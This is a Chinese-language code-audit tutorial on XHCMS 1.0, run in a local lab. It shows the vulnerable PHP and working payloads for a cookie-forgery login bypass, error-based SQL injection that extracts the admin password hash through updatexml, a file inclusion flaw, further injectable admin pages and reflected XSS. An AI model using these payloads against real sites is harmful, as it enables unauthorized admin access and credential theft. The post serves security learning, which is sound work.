目录

一、环境搭建

二、代码审计

(1)后台存在登录绕过漏洞

(2)登录后台user处存在SQL注入

(3)前(后)台文件包含漏洞

(4)后台SQL注入

1、admin/files/editcolumn

2、admin/files/editlink.php

3、admin/files/editsoft.php与admin/files/editwz.php

4、and '1'='1闭合构造SQL注入

(5)前台xss漏洞

1、/files/contact.php

2、/files/content.php


这个应该是比较简单的php代码审计了,适合新手

一、环境搭建

cms下载地址:

https://down.chinaz.com/soft/36930.htm

然后phpstudy环境搭建,php版本要小于7,之后要自己新建一个数据库

访问

http://localhost/xhcms1.0/install/index.php

二、代码审计

在cnvd里面看到有很多漏洞,一个个尝试吧

(1)后台存在登录绕过漏洞

提示我们可以通过伪造cookie绕过登录检测,代码位于inc\checklogin.php

<?php
$user=$_COOKIE['user'];
if ($user==""){
header("Location: ?r=login");
exit;
}
?>

如果cookie里面的user为空就转到登录页面,那我们可以给user赋值来绕过

直接访问admin/页面

直接进入到了网站后台。

(2)登录后台user处存在SQL注入

代码位于admin\files\login.php

<?php
ob_start();
require '../inc/conn.php';
$login=$_POST['login'];
$user=$_POST['user'];
$password=$_POST['password'];
$checkbox=$_POST['checkbox'];if ($login<>""){
$query = "SELECT * FROM manage WHERE user='$user'";
$result = mysql_query($query) or die('SQL语句有误:'.mysql_error());
$users = mysql_fetch_array($result);if (!mysql_num_rows($result)) {
echo "<Script language=JavaScript>alert('1');history.back();</Script>";
exit;
}else{
$passwords=$users['password'];
//echo $passwords;
if(md5($password)<>$passwords){
echo "<Script language=JavaScript>alert('2');history.back();</Script>";
exit;   }
//写入登录信息并记住30天
if ($checkbox==1){
setcookie('user',$user,time()+3600*24*30,'/');
}else{
setcookie('user',$user,0,'/');
}
echo "<script>this.location='?r=index'</script>";
exit;
}
exit;
ob_end_flush();
}
?>

这里没有对user进行过滤,直接拼接到了SQL语句里面,所以我们可以构造一下报错注入

POST /xhcms1.0/admin/?r=login HTTP/1.1
Host: 192.168.10.128
Content-Length: 95
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.10.128
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.10.128/xhcms1.0/admin/?r=login
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: closeuser=admin'or updatexml(1,(select concat(0x7e,password) from manage),1)#&password=123&login=yes

可以在源码里发现后面有个md5加密,所以储存的密码应该是32位,不符合。

用mid打印出完整的

POST /xhcms1.0/admin/?r=login HTTP/1.1
Host: 192.168.10.128
Content-Length: 105
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.10.128
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.10.128/xhcms1.0/admin/?r=login
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: closeuser=admin'or updatexml(1,concat(0x7e,mid((select password from manage),2,33)),1)#&password=123&login=yes

md5解密

可以得知admin密码为admin

(3)前(后)台文件包含漏洞

前台漏洞代码位于:index.php,后台漏洞代码位于:admin\index.php

<?php
//单一入口模式
error_reporting(0); //关闭错误显示
$file=addslashes($_GET['r']); //接收文件名
$action=$file==''?'index':$file; //判断为空或者等于index
include('files/'.$action.'.php'); //载入相应文件
?>

get方式获取r,然后经过addslashes函数处理,之后判断,再然后拼接读取

如果php版本小于等于5.3.4可以使用%00截断实现任意文件读取,但如果高了就只能进行php文件读取

(4)后台SQL注入

1、admin/files/editcolumn

$id=$_GET['id'];
$type=$_GET['type'];if ($type==1){
$query = "SELECT * FROM nav WHERE id='$id'";
$resul = mysql_query($query) or die('SQL语句有误:'.mysql_error());
$nav = mysql_fetch_array($resul);
}

很明显的SQL注入漏洞

http://localhost/xhcms1.0/admin/index.php?r=editcolumn&type=1&id=1'%20or%20updatexml(1,concat(0x7e,database()),1)%23

2、admin/files/editlink.php

$id=$_GET['id'];
$query = "SELECT * FROM link WHERE id='$id'";
$resul = mysql_query($query) or die('SQL语句有误:'.mysql_error());
$link = mysql_fetch_array($resul);

几乎一模一样

3、admin/files/editsoft.php与admin/files/editwz.php

也是一样的

4、and '1'='1闭合构造SQL注入

POST /xhcms1.0/admin/index.php?r=editcolumn&type=1&id=1 HTTP/1.1
Host: 192.168.10.128
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: user=admin
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 111save=1&name=a' or updatexml(1,concat(0x7e,version()),1) and '1'='1&keywords=b&description=c&xs=d&px=e&content=f

还有很多类似的,像manageinfo.php里面也有

(5)前台xss漏洞

1、/files/contact.php

/index.php?r=contact&page=<script>alert(1)</script>
$page=addslashes($_GET['page']);
if ($page<>""){
if ($page<>1){
$pages="第".$page."页 - ";
}
}
<title><?php echo $navs['name']?> - <?php echo $pages.$info['name']?></title>

没有过滤直接拼接

2、/files/content.php

差不多的,id

"><script>alert(1)</script>

熊海cms1.0代码审计相关推荐

  1. 熊海CMS_V1.0代码审计与漏洞分析及采坑日记(一)--文件包含漏洞

    前言 最近几天在给协会的学弟讲代码审计入门相关内容,便找了这个熊海CMS_V1.0来教学,结果在这个过程中遇到蛮多问题的,于是这篇文章详细记录了对熊海CMS_V1.0从搭建到审计与漏洞分析的过程,其中 ...

  2. 代码审计系列:熊海CMS V1.0 (iseaCMS_1.0)

    目录 前言 一.环境 1.用到的工具 2.搭建环境 二.审计 1.文件包含 (1)index.php (2)admin/index.php 2.SQL注入 (1)admin/files/adset.p ...

  3. 三、熊海CMS_v1.0-[Seay源代码审计]-[漏洞编码12人工审计]

    我认为,无论是学习安全还是从事安全的人,多多少少都有些许的情怀和使命感!!! 文章目录 一.熊海CMS_v1.0网站目录结构 二.Seay代码审计系统漏洞报告 三.漏洞1&2分析: 1./in ...

  4. 熊海博客php版本,熊海CMS xhcms v1.0代码审计

    有空的时候就进行小型CMS的代码审计,这次审计的对象是熊海CMS v1.0 本地环境安装好了之后,可以看到提示安装了锁文件 说明重装漏洞应该不会存在了,这时候丢进seay代码审计系统的代码也出结果了, ...

  5. 熊海CMS 1.0代码审计漏洞集合

    目录 SQL注入 注入1 注入2 注入3 cookie注入 注入5 XSS 反射型xss1 存储型xss2 反射型xss3 反射型xss4 存储型xss5 文件包含 越权登录 熊海CMS是由熊海开发的 ...

  6. PHP代码审计demo之熊海cms

    实践学习php,thinkphp,Redis,vue,uni-app等技术,推荐开源电商系统likeshop,可以借鉴思路,可去版权免费商用,gitee下载地址: 点击进项目地址 php漏洞的利用依赖 ...

  7. 适合入门代码审计之熊海cms

    一.前言 简单了解了一下,审计入门,熊海比较适合,因为是简单的cms,适合入门. 二.审计环境 使用小皮面板,新建网站 三.审计过程 先了解文件目录 admin --管理后台文件夹 css --存放c ...

  8. 熊海博客php版本,xhcms_v1.0 熊海CMS是由熊海开发的一款可广泛应用于个人博客 联合开发网 - pudn.com...

    xhcms_v1.0 所属分类:WEB开发 开发工具:Java 文件大小:4002KB 下载次数:3 上传日期:2015-05-14 14:41:13 上 传 者:dou 说明:  熊海CMS是由熊海 ...

  9. 智能车竞赛技术报告 | 智能视觉组 - 哈尔滨工程大学 - 济海追风0队

    简 介: 本文主要介绍了第十六届智能车竞赛智能视觉组的相关设计思想.此车系统由i.mx8处理器为上位机,RT1064为下位机.通过摄像头传感器检测赛道.使用光电编码器采集车轮速度.结合车模赛道物理模型 ...

最新文章

  1. Python 获取字符串的第一位和最后一位的字符
  2. 新疆电信IBSS系统集中联机热备份--案例
  3. Linux 下打core并调试core
  4. 分布式缓存系统之Memcached
  5. 计算机网络 网络设备命令 数据链路层解析
  6. 七十四、SpringBoot 的数据缓存cache(一)
  7. Windows phone listbox动态添加列表项
  8. java 8中 predicate chain的使用
  9. int max+1小于0_INT_MAX常数,C ++中的示例
  10. 求两条轨迹间的hausdorff距离_题型 | 圆上有n个点到直线距离为d?
  11. 拓端tecdat|R语言逻辑回归(Logistic Regression)、回归决策树、随机森林信用卡违约分析信贷数据集
  12. 如果你这样回答“线程安全”,面试官都会对你刮目相看
  13. AN 非空检测以及影片剪辑元件调用内部元件
  14. 机器学习:数学加强(二)——条件概率、贝叶斯公式、常见分布、协方差、相关系数、切比雪夫不等式、大数定律
  15. IKVM.NET_第三篇_成功项目
  16. 自定义SpringBoot程序启动图标
  17. linux内核带rt,Ubuntu18.04安装PREEMPT_RT实时内核
  18. 如果没事儿 我应做些什么?
  19. 微信小程序—自定义(城市选择)弹窗组件,将弹窗组件的值传给调用页面并显示(图文)
  20. RAM内存 ROM存储

热门文章

  1. 汽车车身控制器输出电路的设计与分析
  2. Android Camera2拍照录制工具
  3. 设置jstree只展示到2级_西北师大美术学院2018级环境设计2班模型设计制作成果展示...
  4. 用python进行点云体素下采样
  5. 计算机专业如何申请国外奖学金,解析怎样申请全额奖学金出国读研
  6. 与Apache ServiceComb一起玩开源-北邮站
  7. UINavigationController 导航控制器
  8. 【pytorch系列】卷积操作原理解析与nn.Conv2d用法详解
  9. 《Java技术及应用》课程标准
  10. 家里没网怎么在电脑上看电影玩游戏?教你一招搞定